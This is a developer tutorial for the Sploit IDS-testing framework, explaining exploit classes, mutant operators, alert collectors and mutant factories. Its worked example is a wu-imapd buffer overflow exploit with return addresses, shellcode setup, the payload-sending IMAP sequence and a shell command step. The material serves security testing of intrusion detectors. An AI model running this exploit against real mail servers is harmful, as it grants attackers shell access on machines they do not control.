|
A buffer overflow exists in imapd. The vulnerability exists in the
list command. By supplying a long, well-crafted string as the second
argument to the list command, it becomes possible to execute code on
the machine.
Executing the list command requires an account on the machine. In addition, privileges have been dropped in imapd prior to the location of the buffer overrun. As such, this vulnerability would only be useful in a scenario where a user has an account, but no shell level access. This would allow them to gain shell access. |
list command. We can also
download a working exploit from the Security Focus exploit page.
Exploit class.
class WUImapdBO(Exploit):
def __init__(self)
def set_up(self)
def tear_down(self)
def execute(self)
def isSuccessful(self)
The Sploit engine calls the set_up method only once
before running the exploit and then calls tear_down after
the execution of the last mutant. These are the right places to put
some initialization code, to connect and disconnect to a remote
oracle, and so forth. The attack code has to be placed in the
execute method, while the isSuccessful
function should contains the oracle interrogation.
Exploit.__init__(self,'Wu-imapd buffer overflow', 'some description')The description can also contain HTML tags to look better when displayed in the graphical interface.
Parameter object and can
be added using the add_parameter function. Looking in the
hasparameters.py file, we can find some predefined
classes to manage string, integer, and keylist parameters. Each
parameter has a name, a description string, and a
isMultiValues flag that defines whether the user should
be able to set a list of values instead of a single one (we will use
extensively this feature with Mutant Operators).
self.add_param(StringParam('USER','foo', 'A valid userid'))
self.add_param(StringParam('PASSWD','bar', 'The password for the
previous userid'))
Then, the exploit needs to know the target platform in order to choose
the correct return address for the shellcode. In this case, the
parameter should be able to accept only one of the following values
(taken by the original exploit downloaded from SecurityFocus):
target_platform = [ "Slackware 7.0 - IMAP4rev1 v12.261", "Slackware 7.1 - IMAP4rev1 v12.264", "RedHat 6.2(ZooT) - IMAP4rev1 v12.264", "Slackware 7.0 - IMAP4rev1 2000.284" ]The keylist parameter does exactly what we need:
self.add_param(KeyListParam('PLATFORM',target_platform[2],
target_platform, 'The target platform (used to choose the return address)'))
Finally, we need a way to understand whether the attack was successful
or not. Since our exploit is going to open a shell on the remote
system, we can ask the user which command will be executed trough the
shell and what is the result that we must expect. An another couple of
parameters can resolve this problem:
self.add_param(StringParam('CMD','cat /flag.txt', 'The command to be
executed on the remote host'))
self.add_param(StringParam('RESULT','well done','The string that must
be present in the result if the attack is successful'))
In this case, the default behavior consists in printing the content of
the /flag.txt file on the target machine, and return that
the attack was successful if we receive back the "well
done" string.
set_up method is executed only once at the
beginning of the testing process, it is the right place to configure
the shellcode.
1 def set_up(self): 2 if self.PLATFORM == target_platform[0]: 3 self.retaddr = "\xec\xf3\xff\xbf" 4 elif self.PLATFORM == target_platform[1]: 5 self.retaddr = "\xe0\xf4\xff\xbf" 6 elif self.PLATFORM == target_platform[2]: 7 self.retaddr = "\x97\xf6\xff\xbf" 8 elif self.PLATFORM == target_platform[3]: 9 self.retaddr = "\xc8\xeb\xff\xbf" 10 self.eggm = egg.EggManager(egg.aleph1, 1064) 11 self.eggm.append_ret(self.retaddr,25)The lines from 2 to 9 check the value of the
PLATFORM
parameter and set the corresponding return address.EggManager telling it that we are
going to use the standard aleph1 shellcode and that the whole egg size
is going to be 1064 bytes. The last line add the return address (25
times) at the end of the shellcode (the EggManager will
take care of reducing the nop slash to preserve the total size of 1064
bytes). The use of the EggManager class, instead of just
using a byte array for the shellcode, allows Sploit to automatically
introduce mutation at the egg layer.
exploit.py defines two exception that can be raised
during the attack: a ServiceDown exception to be used any
time the attack thinks the target service is not working properly and
a generic ExploitError exception to report any other
problem occurring during the exploit execution. When an attack raises
a ServiceDown exception the engine waits a couple of
seconds and then tries again to execute the same mutant. After three
failed attempts it stops the process and asks the user to restart the
service. Instead, in case of an ExploitError exception,
the engine proceeds executing the next mutant.
HTTP,
FTP, IMAP, TCP, and
IP. Even though the user can directly access the network
layer managers (TCP, IP, Eth), these are usually automatically managed
by the Sploit engine. In fact, whenever a user (or another protocol
manager) create a socket, the Sploit libraries take care of
instantiating either a traditional Python socket or a userland socket
depending on the attack setup.IMAP manager.
self.log field. The attack code should use it
to log different kind of messages, using the functions
self.log.debug("msg"), self.log.info("msg"),
self.log.warning("msg"), and
self.log.error("msg"). All these messages are usually
redirected to a special buffer during the exploit execution. The user
can decide what to do with the buffer and what level of verbosity he
wants to be accepted (please refer to the user guide for any details on how to
configure the logging subsystem).
def execute(self):
self.res = ''
imap = IMAP.IMAPManager()
self.log.info("Connecting to the server...")
if imap.connect()==False:
raise exploit.ServiceDown
At the beginning, we initialized the self.res field that
will contain the attack result. Then, we instantiate an
ImapManager and we call the connect()
method. As you can see, it is not necessary to specify the target
address, since the Sploit engine takes care of that. If the
connection process fails, our code raises a ServiceDown
exception to tell the engine that something went wrong during the
connection phase.
self.log.info("Sending login...")
imap.send_cmd('login %s %s'%(self.USER, self.PASSWD)))
resp = imap.get_imap_response()
if not ("OK LOGIN" in resp):
self.log.error("Login failed!!")
raise exploit.ExploitError("Login failed")
The ImapManager provides two method for sending data:
send_cmd(imap_commmand) and
send_raw(string). Calling send_raw you can
force the manager to send the string as it is, without any
modification. The send_cmd function receives instead an
IMAPCommand object (or a string that will be parsed to
build a IMAPCommand object). Using this method, the
engine passes the command object through all the Mutant Operators that
have been registered to work at the IMAP layer.send_cmd to send the login command and
then calls the get_imap_response method to get the server
response. If the response does not contain the "OK LOGIN"
string, the exploit logs a message and raises an error.IMAPCommand object and set your tag. Since we do not care
about choosing our tags, we let the ImapManager do that for us.
self.log.info("Logged-in.\nSending the shellcode...")
imap.send_cmd('lsub "" {1064}')
resp = imap.get_imap_response()
self.log.info("Resp: %s"%resp)
self.log.info("Sending shellcode...")
imap.send_raw(self.eggm.get_egg())
imap.send_raw("\n")
imap.send_raw("\n")
As you can see, the raw shellcode data are sent using the send_raw
method because it's a payload and we don't want that the ImapManager
try to interpret it as an IMAP command.
time.sleep(2)
self.log.info("Sending shell command: %s"%self.CMD)
imap.send_raw(self.CMD+"\n")
self.res = imap.sock.readline('\n',blocking=True)
self.log.debug("Response:\r\n%r"%self.res)
imap.close()
Here, we start sleeping two second waiting for the shell and then we
send the user command. We also need an hack to read the server
response. In fact, after the shell is open, we are not talking anymore
with the IMAP server. So, the ImapManager is not able
anymore to interpret the traffic in the correct way. For this reason,
we need to bypass it, reading the response directly from the
underlying socket. To simplify this process, in Sploit every protocol
manager provides a reference to the underlying network socket.self.res field.
exploit.py file defines the result code that can be
returned by the oracle:
RES_OK = 1 # The exploit run successfully RES_ERROR = 2 # An error occurred during the exploit execution RES_FAIL = 3 # The exploit finished but failed RES_UNKNOWN = 4 # The exploit finished but the result is unknownEverytime the attack raises an
ExploitError exception, the
engine sets the result to RES_ERROR without interrogate
the exploit oracle. The result RES_UNKNOWN should be
avoided and used only when the oracle it is not able to correctly
correlate the state of the service with the attack execution.
self.res field:
def isSuccessful(self):
if self.RESULT in self.res:
return exploit.RES_OK
else:
return exploit.RES_FAIL
MutantOperator class,
and implements three different methods: mutate (that
contains the transformation code), insert (that connect
the operator to the right library hook), and remove (that
disable the operator).
MutantOperator class, it is a better practice to extend
one of the existing sub-classes. For instance, if you want to add a new
operator that works with the IMAP protocol, you should extend the
IMAPLayerOperator class:
class IMAPLayerOperator(MutantOperator):
group = 'IMAP Layer'
group_description = '''This mutations are applied to the IMAP
commands before sending them to the server'''
isa_operator = False # cannot be instantiated
def mutate(self, requests):
return requests
def insert(self):
IMAP.DEFAULT_IMAP_OPERATORS.append(self)
def remove(self):
IMAP.DEFAULT_IMAP_OPERATORS.remove(self)
This class is just a skeleton that defines how the operator adds and
removes itself from the IMAP library. It sets the values of the
group and group_description fields. Finally,
the isa_operator = False tells the engine that this is
not an real operator and it should not appear in the mutant operator
list.
ImapManager, it already takes advantage of all the
existing general purpose IMAP Mutant Operators. COPY,
LSUB, RENAME, FIND, and
LIST) while our exploit just uses one of them. So, now we
want to add an operator that substitutes one command with another,
preserving the same parameters.
class ImapReplaceCommand(IMAPLayerOperator):
isa_operator = True
def __init__(self):
IMAPLayerOperator.__init__(self,'IMAPReplaceCommand',
'Substitute a commmand with another')
self.add_param(StringParam('From','LSUB','Command to be replaced', True))
param = StringParam('To','FIND','Command alternatives', True)
param.set_multiple_values(['FIND', 'LIST'])
self.add_param(param)
def mutate(self, cmds):
result = []
for c in cmds:
if c.cmd == self.From:
c.cmd = self.To
result.append(c)
return result
The idea is simple. Inside the constructor we set the operator name,
a brief description, and we add two parameters: From that
contains the command to be substituted and To that
contains the list of alternatives (refer to the previous section for
more information about the parameters syntax).IMAPManager pass
the command through the chain of the mutate methods
provided by each subscribed mutant operators.cmds parameters depends on the
protocol manager. It can be a list of IP packets, HTTP requests, or
FTP commands. In our case, mutate receives a list of
ImapCommand, allowing the operator to add, remove, or
modify any of them. The method must return a new list of IMAPCommand.
From field, and we substitute it
with the current value of the To field (its current value
is decided by the mutant factory).
reset() and get_alerts. The first,
as the name says, resets the content of the internal dictionary; the
second is used to read the dictionary itself.
class Collector(HasParameters):
def connect(target)
def close()
def get_name()
def correlate(self, exploits)
def reset(self):
self.results = {"uncorrelated":[]}
def get_alerts(self, mutant_number=None):
'''
Return the alerts correlated to the mutant mutant_number
If mutant_number is None (the default value)
the function returns the whole alerts dictionary
'''
if mutant_number == None:
return self.results
elif self.results.has_key(mutant_number):
return self.results[mutant_number]
else:
return None
Beside the obvious get_name(), a collector must implement
three methods: connect(), close(), and
correlate(exploits). In the common case where the
intrusion detection systems runs on a different computer than Sploit,
connect() and close() can be used to open
and close the channel to talk with the IDS system.
correlate(exploits) function is to read
the alert messages from the sensor and put them in the right place
inside the dictionary. The method receives as parameter a list of
exploit execution info, each containing the following information:
number --> The mutant number operators --> The list of mutant operator used to generate the mutant tcp_ports --> A couple [min,max] of the TCP ports used during the attack udp_ports --> A couple [min,max] of the UDP ports used during the attack result --> The attack result exectime --> The execution time in second date --> The date/time when the mutant was executedUsually, there are two approaches to correlate the alert messages. The first consists in comparing the execution time with the time reported in the alert messages. A more precise solution is based on the ports numbers. In fact, each alert message, usually contains the source IP:PORT from which the attack was launched. Comparing the port number with the ones stored in the mutant execinfo, it should be easy to identify which mutant was responsible of raising the alert.
class MutantFactory(HasParameters):
def set_opmanager(self, opmanager)
def get_name(self)
def require_sync_collectors(self)
def reset(self)
def set_first(self, firstmutant)
def next(self, result)
def count(self)
def current_mutant(self)
The function set_opmanager is called by the Sploit engine
to set the Operator Manager. The OpManager, as the name
says, is the object that manages the set of mutant operators. It
provides methods to load the complete list of operators, add or remove
an operator to the selected list, and move up and down an operator in
the selected list. The mutant factory will use this object to enable,
disable, and configure operators.
reset method, followed by a set_first call
to set the index of the first mutant that the user want to
generate. Then, inside the main loop, the engine calls
next until the method return None (that the
way the mutant factory uses to say that it has already generated all
the mutant according with its policy) or until the range of mutants
chosen by the user have been executed. For instance, if the user runs
Sploit with the -r 4:8 parameter, the engine calls:
reset(), set_first(4), next(),
next(), next(), next().
count() method should return the total number of
mutant that the factory can generate. In case it is not possible to
precompute this value the method should return -1. Finally,
require_synch_collectors() tells the engine if the mutant
factory is going to use or not the information provided by the alert
collector to drive the exploration process. If the method returns
True, the engine must interrogates the alert collectors
synchronously after each mutant execution, otherwise it adopts the
more efficient solution that consists in collecting and correlating
all the alert messages at the end of the testing experiment.
class OneAtTheTimeFactory(MutantFactory):
def __init__(self):
MutantFactory.__init__(self, "One at the time")
self.reset()
def set_first(self, mutantnumber):
if mutantnumber >= 0 and mutantnumber < self.number:
self.current = mutantnumber
return True
return False
def reset(self):
self.current = 0
self.number = 0
if self.opmanager == None:
return
self.selected = self.opmanager.get_selected_operators()
if len(self.selected)==0:
self.number = 0
else:
for y in self.selected:
self.number += y.params_combinations()
def next(self, result):
if self.opmanager == None:
return None
if (self.current >= self.number):
return None
n = self.current
for y in self.selected:
if y.params_combinations() > n:
y.set_params_combination(n)
self.current += 1
return [y]
n = n - y.params_combinations()
def require_sync_collectors(self):
return False
def count(self):
return self.number
def current(self):
return self.current
The reset() function compute the total number of mutant
that can be generated (and saves it in the self.number
field) and gets the list of the mutant operators that have been
selected by the user (and saves it in the self.selected
field).next() method contains the actual code that selects
and configures the operators for each mutant. The idea is simple: it
browse the selected operators asking them how many parameter
combinations they support (using the built-in
params_combinations() method). After the correct mutant
operator has been found, the parameters can be set using another
operator function: set_params_combination(int).